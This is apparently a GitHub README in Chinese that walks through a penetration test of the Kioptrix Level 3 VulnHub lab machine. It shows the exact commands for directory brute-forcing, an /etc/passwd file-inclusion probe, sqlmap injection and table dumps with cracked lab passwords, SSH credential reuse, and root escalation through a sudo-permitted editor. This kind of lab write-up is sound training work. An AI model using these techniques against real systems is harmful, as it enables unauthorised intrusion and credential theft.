NimanthaSupun/kioptrix-level-3-compremission

GitHub: NimanthaSupun/kioptrix-level-3-compremission

一份详尽的 Kioptrix Level 3 渗透测试 Writeup,完整记录了从 Web 侦察、SQL 注入到权限提升的完整攻击链。

Stars: 0 | Forks: 0

# Kioptrix:Level 3 — 渗透测试 Writeup **目标:** Kioptrix Level 3 (VulnHub) **攻击者 IP:** 192.168.56.1 (Kali) **目标 IP:** 192.168.56.102 (`kioptrix3.com`) **攻击链:** Web 侦察 → 目录枚举 → SQL 注入 → 凭据破解 → 凭据重用 (SSH) → sudo 配置不当 → root ## 目录 1. [信息收集](#1-reconnaissance) 2. [Web 枚举](#2-web-enumeration) 3. [目录暴力破解](#3-directory-brute-forcing) 4. [发现 Gallery 应用](#4-discovering-the-gallery-application) 5. [SQL 注入](#5-sql-injection) 6. [提取与破解凭据](#6-extracting--cracking-credentials) 7. [访问管理面板](#7-admin-panel-access) 8. [通过 SSH 获取 Shell](#8-gaining-a-shell-via-ssh) 9. [权限提升](#9-privilege-escalation) ## 1. 信息收集 首先进行了全 TCP 端口和服务版本扫描,以确定攻击面: ``` nmap -sV -p- 192.168.56.102 ``` ![Nmap 扫描结果](https://static.pigsec.cn/wp-content/uploads/repos/cas/c2/c299bd21c1789cdf27ef16ee5e910d79fe01374b10c7753dbf84646f7dc8e907.png) **结果:** | 端口 | 服务 | 版本 | |------|---------|---------| | 22/tcp | ssh | OpenSSH 4.7p1 Debian 8ubuntu1.2 | | 80/tcp | http | Apache httpd 2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch | 仅暴露了两个服务。两者都是老旧(2008 年时期)的版本——这强烈暗示该机器容易受到某些特定版本漏洞的攻击,而不是零日级别的漏洞。SSH 可用,但在没有凭据的情况下毫无用处,因此端口 80 上的 Web 服务器成为了主要目标。 ## 2. Web 枚举 手动抓取了主页,以查看网站的构建方式: ``` curl http://kioptrix3.com ``` ![主页源码](https://static.pigsec.cn/wp-content/uploads/repos/cas/60/60809d555923b86a4f0d6137832f439e099473d963dfa70a9b4abfcac4a8d673.png) `` 标签立即识别出了 CMS:**LotusCMS**。源码中还可以看到:一个指向 `index.php?system=Admin` 的链接,值得接下来进行检查。 ``` curl http://kioptrix3.com/index.php?system=Admin ``` ![管理登录页面](https://static.pigsec.cn/wp-content/uploads/repos/cas/6f/6f1db188ab858a512c87651f0af333872095c20ecb4e6dfc35e945638231d889.png) 这证实了该路径下存在 LotusCMS 管理登录面板。目前还没有凭据——已记录以备后用,但没有直接进行尝试,因为盲目地暴力破解登录表单效率低下。 **测试本地文件包含 (LFI):** ``` curl "http://kioptrix3.com/index.php?page=../../../etc/passwd" ``` ![LFI 尝试 - 失败](https://static.pigsec.cn/wp-content/uploads/repos/cas/14/14be437be70f59aaa01187355e161ff8793729de678196128e19d7a6d5216d29.png) 结果:返回了一个正常的“Page Not Found - Error 404”响应,而不是 `/etc/passwd` 的内容。排除了将原始、未过滤的 `page` 参数直接传递给 PHP `include()` 的情况——LFI 类攻击在此处不适用(应用程序正在过滤或将 `page` 的值列入白名单)。 ## 3. 目录暴力破解 与其继续手动猜测路径,不如运行目录暴力破解来枚举完整的站点结构: ``` gobuster dir -u http://kioptrix3.com -w /usr/share/wordlists/dirb/common.txt -x php,html,txt ``` ![Gobuster 结果](https://static.pigsec.cn/wp-content/uploads/repos/cas/1e/1e1daa1e52544de380eaffb07310e60090f1369e85efd0e3afb3ac051a112ad3.png) **关键发现:** | 路径 | 状态 | 备注 | |------|--------|-------| | `/gallery` | 301 | 新的应用程序——未在主页导航中链接 | | `/phpmyadmin` | 301 | 数据库管理界面 | | `/core`, `/modules`, `/cache`, `/style` | 301/403 | LotusCMS 内部文件 | | `/update.php` | 200 | 值得注意,但未深入挖掘 | `/gallery` 立即凸显出来,它是挂载到 CMS 上的第二个独立应用程序——这是这些靶机中常见的模式,并且通常是比“主”软件更薄弱的环节。 ## 4. 发现 Gallery 应用程序 ``` curl http://kioptrix3.com/gallery/ ``` ![Gallery 主页](https://static.pigsec.cn/wp-content/uploads/repos/cas/6f/6fd2cef7badbac91dd843196f037af80c966b40f141d842811bcd7ff017a32c9.png) 响应的 `Generator` meta 标签揭示了它正在运行 **Gallarific**,这是一个独立的、较老的照片画廊 CMS——与 LotusCMS 完全是不同的代码库,因此需要检查完全不同的一组漏洞。 ## 5. SQL 注入 手动测试了画廊的 `id` 参数,首先使用正常值,然后使用单引号尝试破坏底层的 SQL 查询: ``` curl "http://kioptrix3.com/gallery/gallery.php?id=1" ``` ![gallery.php?id=1 基线](https://static.pigsec.cn/wp-content/uploads/repos/cas/7b/7bf9e7641b5e5e2cab857288b826e55e98b4761e81893d712b8b3f24c2213dfc.png) ``` curl "http://kioptrix3.com/gallery/gallery.php?id=1'" ``` ![gallery.php?id=1' 测试](https://static.pigsec.cn/wp-content/uploads/repos/cas/8e/8ef90304d4885244fd66f0a75a18c4e6a62ddff01f30780ac98edcfad88d1930.png) 这两个请求在 HTTP 层面返回了视觉上完全相同的页面——HTML 中没有渲染出明显的 SQL 错误。然而,仅凭这一点并不能排除注入:许多可注入的参数不会抛出可见错误,而是需要使用盲注或基于布尔的盲注技术来检测。没有仅凭一次手动测试就得出假阴性的结论,而是将该参数交给了 sqlmap 进行更广泛的注入测试: ``` sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1" --dbs --batch ``` ![sqlmap 注入检测](https://static.pigsec.cn/wp-content/uploads/repos/cas/7e/7e3830f04a0d3f2f99fc8a0aca37c73fcb5522bc508bfabbbb686e767aef0fda.png) **sqlmap 确认了 `id` 参数可以通过多种技术同时进行注入:** - 基于布尔的盲注 - 基于报错的注入 (MySQL ≥ 4.1, `FLOOR()`/`RAND()` 技巧) - (sqlmap 的完整输出还报告了时间盲注和基于 UNION 的攻击向量) 这是一个非常容易利用的强注入点,尽管在肉眼看来没有任何可见的症状——这是一个很好的实践教训,说明了即使手动测试看起来没问题,自动化确认仍然很重要。 ## 6. 提取与破解凭据 确认注入后,枚举了数据库,然后枚举了 `gallery` 数据库中的表: ``` sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1" -D gallery --tables --batch ``` ![gallery 数据库中的表](https://static.pigsec.cn/wp-content/uploads/repos/cas/24/24568e74384d0cd19b9d4db81f7ba5656db9b16bb4621baa20a5262815ae4384.png) 发现了七个表。`dev_accounts` 脱颖而出,是最有可能包含真实的、可重用凭据的表(与 `gallarific_*` 表相反,后者更有可能仅限于画廊应用程序本身): ``` sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1" -D gallery -T dev_accounts --dump --batch ``` ![导出并破解的 dev_accounts](https://static.pigsec.cn/wp-content/uploads/repos/cas/68/68c55f9781ae4af0023eb5650c415094f49b439bd5c79bc2d8206791780c2837.png) sqlmap 导出了两行数据,并自动将 `password` 列识别为 MD5 散列值,然后使用其自带的字典攻击破解了这两个散列: | 用户名 | 散列值 | 破解出的密码 | |----------|------|-------------------| | `dreg` | `0d3eccfb887aabd50f243b3f155c0f85` | `Mast3r` | | `loneferret` | `5badcaf789d3d1d09794d8f021f40f0e` | `starwars` | 这些用户名看起来不像画廊应用程序的账户——它们看起来像是 **Linux 系统用户名**,这使得它们自然而然地成为接下来尝试针对 SSH 进行登录的首选。 ## 7. 访问管理面板 另外,`gallarific_users` 表(通过对该表执行类似的 `--dump` 导出)产生了一个明文的画廊管理员凭据:`admin : n0t7t1k4`。使用它成功通过了 Gallarific 管理面板的身份验证: ``` curl -X POST "http://kioptrix3.com/gallery/gadmin/index.php?task=signin" \ -d "username=admin&password=n0t7t1k4" -c cookies.txt -L ``` ![成功的管理员登录](https://static.pigsec.cn/wp-content/uploads/repos/cas/2c/2c9665c51f8ed4fad6e44af10e8f36403a536eb1e810247b300da487b062787a.png) 响应 `document.location.href = "index.php";` 是应用程序在成功登录时触发的客户端重定向——证实了该凭据是有效的。这获得了画廊管理员权限,但这只是一个次要发现;继续深入的真正途径是 `dreg`/`loneferret` 凭据。 ## 8. 通过 SSH 获取 Shell 最初尝试使用破解出的 `loneferret` 凭据直接进行 SSH 登录时,算法协商失败——这是此约 2009 年时期靶机的旧版 OpenSSH 提供的算法与现代 Kali 客户端更严格的默认设置之间的不匹配: ``` Unable to negotiate with 192.168.56.102 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss ``` 通过在客户端仅为此次连接显式重新启用旧版算法解决了该问题: ``` ssh -oHostKeyAlgorithms=+ssh-rsa -oKexAlgorithms=+diffie-hellman-group1-sha1 loneferret@192.168.56.102 ``` ![以 loneferret 身份成功登录 SSH](https://static.pigsec.cn/wp-content/uploads/repos/cas/2a/2a5031d7d4bac9d103f0fad1e19b509a7772dfbe305c5d62cdf9d564b3d99f32.png) ``` Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686 loneferret@Kioptrix3:~$ whoami loneferret ``` 使用通过 SQL 注入恢复的密码,确认了以 `loneferret` 系统用户的身份获得了 shell 访问权限——这是一个数据库凭据在操作系统中重用的直接案例。 ## 9. 权限提升 以 `loneferret` 身份运行 `sudo -l` 以确认 sudo 下允许执行的命令: ``` sudo -l ``` 输出显示 `loneferret` 可以在不使用密码的情况下以 root 身份运行 `/usr/local/bin/ht`,这是一个典型的基于编辑器的提权途径。 为了获得交互式的 root shell,首先确保为旧版 `ht` 二进制文件正确设置了终端类型: ``` export TERM=xterm sudo /usr/local/bin/ht ``` 在 `ht` 内部,利用编辑器的 shell 逃逸功能生成了一个 root shell。这取得了该机器的完全 root 访问权限。 ![通过 ht 获得 root shell](https://static.pigsec.cn/wp-content/uploads/repos/cas/a8/a84cfdebd60c51c0a0a0968063fbb6b08c8e5a60c9635b269880872d7dd82b74.png) ``` whoami root ``` 至此,完成了通过一个允许无密码使用 `sudo` 运行的编辑器,从 `loneferret` 提权到 root 的途径。
标签:CISA项目, CSV导出, CTI, 内存分配, 协议分析, 安全靶机, 实时处理, 密码管理, 数据展示, 权限提升, 红队, 网络安全, 隐私保护